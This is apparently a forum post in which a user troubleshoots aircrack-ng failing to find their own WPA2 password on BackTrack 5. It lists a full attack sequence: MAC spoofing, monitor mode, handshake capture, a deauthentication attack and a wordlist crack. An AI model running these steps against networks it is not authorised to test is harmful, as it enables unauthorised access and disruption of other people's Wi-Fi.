aircrack-ng not finding my own pw in wordlist backtrack 5 r3 kde
I had a quick question regarding aircrack.
I recently reformatted backtrack with a thumb drive from teh gnome version to the KDE version. I noticed upon testing out my own wifi network that aircrack no longer seems to be able to crack my wpa2 pw. I noticed it no longer access the screen where it shows the diffrent keyes as it cycles through the wordlist. I am not sure what I am doing wrong but to help I will go ahead and post what I am doing. This worked on my network when I was on gnome. I dont think the os visual gui change has anything to do with this though so I am assuming it is probably something to do with what i am doing in aircrack. Aircrack version is 1.1 btw.
/////WPA with aircrack/////
sudo ifconfig wlan0 down
sudo ifconfig wlan0 hw ether 00:11:22:33:44:55
sudo ifconfig wlan0 up
airmon-ng start wlan0
ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up
airodump-ng -c (channel) -w (file name-01.cap) --bssid (bssid) mon0
aireplay-ng -0 5 -a (bssid) -c (macid) mon0
aircrack-ng -b (bssid) -w (wordlist) (file name-01.cap)
(if anyone is wondering why I use macchanger for mon0 it is because if i use it on wlan0 i cant perform nmap scans.)
Any help would be great and please let me know if you need any more information from me to help me with this. Thank you!

So I found out it will find the pin if its in the word list twice.
What is even stranger is if I delete the second entry from the word list it still works until I make a new text document and don't use the key twice.
This is obviously a bit of a problem as all word lists only use a word once per line (I think). Also copying a word list to run through twice is double the maximum time and not a good solution. If anyone has an idea of why it may be behaving like this let me know!
